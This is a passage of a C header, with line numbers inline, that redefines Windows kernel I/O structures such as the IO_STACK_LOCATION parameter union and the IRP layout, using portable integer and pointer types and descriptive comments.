QueryDirectory; 747 | 748 | // 749 | // System service parameters for: NtNotifyChangeDirectoryFile / NtNotifyChangeDirectoryFileEx 750 | // 751 | 752 | struct { 753 | UINT32 Length; 754 | UINT32 CompletionFilter; 755 | } NotifyDirectory; 756 | 757 | // 758 | // System service parameters for: NtNotifyChangeDirectoryFile / NtNotifyChangeDirectoryFileEx 759 | // 760 | // For minor code IRP_MN_NOTIFY_CHANGE_DIRECTORY_EX 761 | // N.B. Keep Length and CompletionFilter aligned with NotifyDirectory. 762 | // 763 | 764 | struct { 765 | UINT32 Length; 766 | UINT32 CompletionFilter; 767 | UINT32 DirectoryNotifyInformationClass; 768 | } NotifyDirectoryEx; 769 | 770 | // 771 | // System service parameters for: NtQueryInformationFile 772 | // 773 | 774 | struct { 775 | UINT32 Length; 776 | UINT32 FileInformationClass; 777 | } QueryFile; 778 | 779 | // 780 | // System service parameters for: NtSetInformationFile 781 | // 782 | 783 | struct { 784 | UINT32 Length; 785 | UINT32 FileInformationClass; 786 | VOID* FileObject; 787 | union { 788 | struct { 789 | BOOLEAN ReplaceIfExists; 790 | BOOLEAN AdvanceOnly; 791 | }; 792 | UINT32 ClusterCount; 793 | VOID* DeleteHandle; 794 | }; 795 | } SetFile; 796 | 797 | 798 | 799 | // 800 | // System service parameters for: NtQueryEaFile 801 | // 802 | 803 | struct { 804 | UINT32 Length; 805 | VOID* EaList; 806 | UINT32 EaListLength; 807 | UINT32 EaIndex; 808 | } QueryEa; 809 | 810 | // 811 | // System service parameters for: NtSetEaFile 812 | // 813 | 814 | struct { 815 | UINT32 Length; 816 | } SetEa; 817 | 818 | 819 | 820 | // 821 | // System service parameters for: NtQueryVolumeInformationFile 822 | // 823 | 824 | struct { 825 | UINT32 Length; 826 | UINT32 FsInformationClass; 827 | } QueryVolume; 828 | 829 | 830 | 831 | // 832 | // System service parameters for: NtSetVolumeInformationFile 833 | // 834 | 835 | struct { 836 | UINT32 Length; 837 | UINT32 FsInformationClass; 838 | } SetVolume; 839 | 840 | // 841 | // System service parameters for: NtFsControlFile 842 | // 843 | // Note that the user's output buffer is stored in the UserBuffer field 844 | // and the user's input buffer is stored in the SystemBuffer field. 845 | // 846 | 847 | struct { 848 | UINT32 OutputBufferLength; 849 | UINT32 InputBufferLength; 850 | UINT32 FsControlCode; 851 | VOID* Type3InputBuffer; 852 | } FileSystemControl; 853 | // 854 | // System service parameters for: NtLockFile/NtUnlockFile 855 | // 856 | 857 | struct { 858 | UINT64* Length; 859 | UINT32 Key; 860 | UINT64 ByteOffset; 861 | } LockControl; 862 | 863 | // 864 | // System service parameters for: NtFlushBuffersFile 865 | // 866 | // No extra user-supplied parameters. 867 | // 868 | 869 | 870 | 871 | // 872 | // System service parameters for: NtCancelIoFile 873 | // 874 | // No extra user-supplied parameters. 875 | // 876 | 877 | 878 | 879 | // 880 | // System service parameters for: NtDeviceIoControlFile 881 | // 882 | // Note that the user's output buffer is stored in the UserBuffer field 883 | // and the user's input buffer is stored in the SystemBuffer field. 884 | // 885 | 886 | struct { 887 | UINT32 OutputBufferLength; 888 | UINT32 __declspec(align(8)) InputBufferLength; 889 | UINT32 __declspec(align(8)) IoControlCode; 890 | VOID* Type3InputBuffer; 891 | } DeviceIoControl; 892 | 893 | // 894 | // System service parameters for: NtQuerySecurityObject 895 | // 896 | 897 | struct { 898 | UINT32 SecurityInformation; 899 | UINT32 Length; 900 | } QuerySecurity; 901 | 902 | // 903 | // System service parameters for: NtSetSecurityObject 904 | // 905 | 906 | struct { 907 | UINT32 SecurityInformation; 908 | VOID* SecurityDescriptor; 909 | } SetSecurity; 910 | 911 | // 912 | // Non-system service parameters. 913 | // 914 | // Parameters for MountVolume 915 | // 916 | 917 | struct { 918 | VOID* Vpb; 919 | VOID* DeviceObject; 920 | } MountVolume; 921 | 922 | // 923 | // Parameters for VerifyVolume 924 | // 925 | 926 | struct { 927 | VOID* Vpb; 928 | VOID* DeviceObject; 929 | } VerifyVolume; 930 | 931 | // 932 | // Parameters for Scsi with internal device control. 933 | // 934 | 935 | struct { 936 | struct _SCSI_REQUEST_BLOCK* Srb; 937 | } Scsi; 938 | 939 | 940 | 941 | // 942 | // System service parameters for: NtQueryQuotaInformationFile 943 | // 944 | 945 | struct { 946 | UINT32 Length; 947 | VOID* StartSid; 948 | VOID* SidList; 949 | UINT32 SidListLength; 950 | } QueryQuota; 951 | 952 | // 953 | // System service parameters for: NtSetQuotaInformationFile 954 | // 955 | 956 | struct { 957 | UINT32 Length; 958 | } SetQuota; 959 | 960 | 961 | 962 | // 963 | // Parameters for IRP_MN_QUERY_DEVICE_RELATIONS 964 | // 965 | 966 | struct { 967 | UINT32 Type; 968 | } QueryDeviceRelations; 969 | 970 | // 971 | // Parameters for IRP_MN_QUERY_INTERFACE 972 | // 973 | 974 | struct { 975 | CONST GUID* InterfaceType; 976 | UINT16 Size; 977 | UINT16 Version; 978 | VOID* Interface; 979 | VOID* InterfaceSpecificData; 980 | } QueryInterface; 981 | 982 | // 983 | // Parameters for IRP_MN_QUERY_CAPABILITIES 984 | // 985 | 986 | struct { 987 | VOID* Capabilities; 988 | } DeviceCapabilities; 989 | 990 | // 991 | // Parameters for IRP_MN_FILTER_RESOURCE_REQUIREMENTS 992 | // 993 | 994 | struct { 995 | VOID* IoResourceRequirementList; 996 | } FilterResourceRequirements; 997 | 998 | // 999 | // Parameters for IRP_MN_READ_CONFIG and IRP_MN_WRITE_CONFIG 1000 | // 1001 | 1002 | struct { 1003 | UINT32 WhichSpace; 1004 | VOID* Buffer; 1005 | UINT32 Offset; 1006 | UINT32 Length; 1007 | } ReadWriteConfig; 1008 | 1009 | // 1010 | // Parameters for IRP_MN_SET_LOCK 1011 | // 1012 | 1013 | struct { 1014 | BOOLEAN Lock; 1015 | } SetLock; 1016 | 1017 | // 1018 | // Parameters for IRP_MN_QUERY_ID 1019 | // 1020 | 1021 | struct { 1022 | UINT32 IdType; 1023 | } QueryId; 1024 | 1025 | // 1026 | // Parameters for StartDevice 1027 | // 1028 | 1029 | struct { 1030 | VOID* AllocatedResources; 1031 | VOID* AllocatedResourcesTranslated; 1032 | } StartDevice; 1033 | 1034 | // 1035 | // Parameters for Cleanup 1036 | // 1037 | // No extra parameters supplied 1038 | // 1039 | 1040 | // 1041 | // WMI Irps 1042 | // 1043 | 1044 | struct { 1045 | UINT32 ProviderId; 1046 | VOID* DataPath; 1047 | UINT32 BufferSize; 1048 | VOID* Buffer; 1049 | } WMI; 1050 | 1051 | // 1052 | // Others - driver-specific 1053 | // 1054 | 1055 | struct { 1056 | VOID* Argument1; 1057 | VOID* Argument2; 1058 | VOID* Argument3; 1059 | VOID* Argument4; 1060 | } Others; 1061 | 1062 | } Parameters; 1063 | 1064 | // 1065 | // Save a pointer to this device driver's device object for this request 1066 | // so it can be passed to the completion routine if needed. 1067 | // 1068 | 1069 | VOID* DeviceObject; 1070 | 1071 | // 1072 | // The following location contains a pointer to the file object for this 1073 | // request. 1074 | // 1075 | 1076 | VOID* FileObject; 1077 | 1078 | // 1079 | // The following routine is invoked depending on the flags in the above 1080 | // flags field. 1081 | // 1082 | 1083 | VOID* CompletionRoutine; 1084 | 1085 | // 1086 | // The following is used to store the address of the context parameter 1087 | // that should be passed to the CompletionRoutine. 1088 | // 1089 | 1090 | VOID* Context; 1091 | 1092 | } IO_STACK_LOCATION, * PIO_STACK_LOCATION; 1093 | 1094 | typedef struct _IRP { 1095 | INT16 Type; 1096 | UINT16 Size; 1097 | 1098 | 1099 | // 1100 | // Define the common fields used to control the IRP. 1101 | // 1102 | 1103 | // 1104 | // Define a pointer to the Memory Descriptor List (MDL) for this I/O 1105 | // request. This field is only used if the I/O is "direct I/O". 1106 | // 1107 | 1108 | VOID* MdlAddress; 1109 | 1110 | // 1111 | // Flags word - used to remember various flags. 1112 | // 1113 | 1114 | UINT32 Flags; 1115 | 1116 | // 1117 | // The following union is used for one of three purposes: 1118 | // 1119 | // 1. This IRP is an associated IRP. The field is a pointer to a master 1120 | // IRP. 1121 | // 1122 | // 2. This is the master IRP. The field is the count of the number of 1123 | // IRPs which must complete (associated IRPs) before the master can 1124 | // complete. 1125 | // 1126 | // 3. This operation is being buffered and the field is the address of 1127 | // the system space buffer. 1128 | // 1129 | 1130 | union { 1131 | struct _IRP* MasterIrp; 1132 | INT32 IrpCount; 1133 | VOID* SystemBuffer; 1134 | } AssociatedIrp; 1135 | 1136 | // 1137 | // Thread list entry - allows queuing the IRP to the thread pending I/O 1138 | // request packet list. 1139 | // 1140 | 1141 | LIST_ENTRY ThreadListEntry; 1142 | 1143 | // 1144 | // I/O status - final status of operation. 1145 | // 1146 | 1147 | IO_STATUS_BLOCK IoStatus; 1148 | 1149 | // 1150 | // Requester mode - mode of the original requester of this operation. 1151 | // 1152 | 1153 | CHAR8 RequestorMode; 1154 | 1155 | // 1156 | // Pending returned - TRUE if pending was initially returned as the 1157 | // status for this packet. 1158 | // 1159 | 1160 | BOOLEAN PendingReturned; 1161 | 1162 | // 1163 | // Stack state information. 1164 | // 1165 | 1166 | CHAR8 StackCount; 1167 | CHAR8 CurrentLocation; 1168 | 1169 | // 1170 | // Cancel - packet has been canceled. 1171 | // 1172 | 1173 | BOOLEAN Cancel; 1174 | 1175 | // 1176 | // Cancel Irql - Irql at which the cancel spinlock was acquired. 1177 | // 1178 | 1179 | UINT8 CancelIrql; 1180 | 1181 | // 1182 | // ApcEnvironment - Used to save the APC environment at the time that the 1183 | // packet was initialized. 1184 | // 1185 | 1186 | CHAR8 ApcEnvironment; 1187 | 1188 | // 1189 | // Allocation control flags. 1190 | // 1191 | 1192 | UINT8 AllocationFlags; 1193 | 1194 | // 1195 | // User parameters. 1196 | // 1197 | 1198 | union { 1199 | PIO_STATUS_BLOCK UserIosb; 1200 | 1201 | // 1202 | // Context used when the Irp is managed by IoRing and is used by IoRing. 1203 | // UserIosb is used to cancel an Irp, so sharing space with UserIosb 1204 | // let IoRing cancel an Irp based on its context. 1205 | // 1206 | 1207 | VOID* IoRingContext; 1208 | }; 1209 | 1210 | VOID* UserEvent; 1211 | union { 1212 | struct { 1213 | union { 1214 | VOID* UserApcRoutine; 1215 | VOID* IssuingProcess; 1216 | }; 1217 | union { 1218 | VOID* UserApcContext; 1219 | 1220 | // 1221 | // IoRing object that rolled this Irp, if any. The completion 1222 | // is processed through this IoRing object. UserApcRoutine and 1223 | // UserApcContext is not supported when issuing IOs through an 1224 | // IoRing so we union this with UserApcContext. We did not use 1225 | // UserApcRoutine because IssuingProcess use the same location 1226 | // and is used when an Irp is queued to FileObject and when the 1227 | // Irp is managed by IoRing it is queued to the FileObject. 1228 | // 1229 | 1230 | struct _IORING_OBJECT* IoRing; 1231 | }; 1232 | } AsynchronousParameters; 1233 | UINT64 AllocationSize; 1234 | } Overlay; 1235 | 1236 | // 1237 | // CancelRoutine - Used to contain the address of a cancel routine supplied 1238 | // by a device driver when the IRP is in a cancelable state. 1239 | // 1240 | 1241 | VOID* CancelRoutine; 1242 | 1243 | // 1244 | // Note that the UserBuffer parameter is outside of the stack so that I/O 1245 | // completion can copy data back into the user's address space without 1246 | // having to know exactly which service was being invoked. The length 1247 | // of the copy is stored in the second half of the I/O status block. If 1248 | // the UserBuffer field is NULL, then no copy is performed. 1249 | // 1250 | 1251 | VOID* UserBuffer; 1252 | 1253 | // 1254 | // Kernel structures 1255 | // 1256 | // The following section contains kernel structures which the IRP needs 1257 | // in order to place various work information in kernel controller system 1258 | // queues. Because the size and alignment cannot be controlled, they are 1259 | // placed here at the end so they just hang off and do not affect the 1260 | // alignment of other fields in the IRP. 1261 | // 1262 | 1263 | union { 1264 | 1265 | struct { 1266 | 1267 | union { 1268 | 1269 | // 1270 | // DeviceQueueEntry - The device queue entry field is used to 1271 | // queue the IRP to the device driver device queue. 1272 | // 1273 | 1274 | KDEVICE_QUEUE_ENTRY DeviceQueueEntry; 1275 | 1276 | struct { 1277 | 1278 | // 1279 | // The following are available to the driver to use in 1280 | // whatever manner is desired, while the driver owns the 1281 | // packet. 1282 | // 1283 | 1284 | VOID* DriverContext[4]; 1285 | 1286 | }; 1287 | 1288 | }; 1289 | 1290 | // 1291 | // Thread - pointer to caller's Thread Control Block. 1292 | // 1293 | 1294 | VOID* Thread; 1295 | 1296 | // 1297 | // Auxiliary buffer - pointer to any auxiliary buffer that is 1298 | // required to pass information to a driver that is not contained 1299 | // in a normal buffer. 1300 | // 1301 | 1302 | CHAR8* AuxiliaryBuffer; 1303 | 1304 | // 1305 | // The following unnamed structure must be exactly identical 1306 | // to the unnamed structure used in the minipacket header used 1307 | // for completion queue entries. 1308 | // 1309 | 1310 | struct { 1311 | 1312 | // 1313 | // List entry - used to queue the packet to completion queue, among 1314 | // others. 1315 | // 1316 | 1317 | LIST_ENTRY ListEntry; 1318 | 1319 | union { 1320 | 1321 | // 1322 | // Current stack location - contains a pointer to the current 1323 | // IO_STACK_LOCATION structure in the IRP stack. This field 1324 | // should never be directly accessed by drivers. They should 1325 | // use the standard functions. 1326 | // 1327 | 1328 | struct _IO_STACK_LOCATION* CurrentStackLocation; 1329 | 1330 | // 1331 | // Minipacket type. 1332 | // 1333 | 1334 | UINT32 PacketType; 1335 | }; 1336 | }; 1337 | 1338 | // 1339 | // Original file object - pointer to the original file object 1340 | // that was used to open the file. This field is owned by the 1341 | // I/O system and should not be used by any other drivers. 1342 | // 1343 | 1344 | VOID* OriginalFileObject; 1345 | 1346 | } Overlay; 1347 | 1348 | // 1349 | // APC - This APC control block is used for the special kernel APC as 1350 | // well as for the caller's APC, if one was specified in the original 1351 | // argument list. If so, then the APC is reused for the normal APC for 1352 | // whatever mode the caller was in and the "special" routine that is 1353 | // invoked before the APC gets control simply deallocates the IRP. 1354 | // 1355 | 1356 | KAPC Apc; 1357 | 1358 | // 1359 | // CompletionKey - This is the key that is used to distinguish 1360 | // individual I/O operations initiated on a single file VOID*. 1361 | // 1362 | 1363 | VOID* CompletionKey; 1364 | 1365 | } Tail; 1366 | 1367 | } IRP; 1368 | 1369 | typedef IRP* PIRP; 1370 | 1371 | typedef struct _IF_LH_PHYSICAL_ADDRESS 1372 | { 1373 | UINT16 Length; 1374 | BYTE Address[32]; 1375 | } IF_LH_PHYSICAL_ADDRESS; 1376 | 1377 | #pragma warning( pop ) --------------------------------------------------------------------------------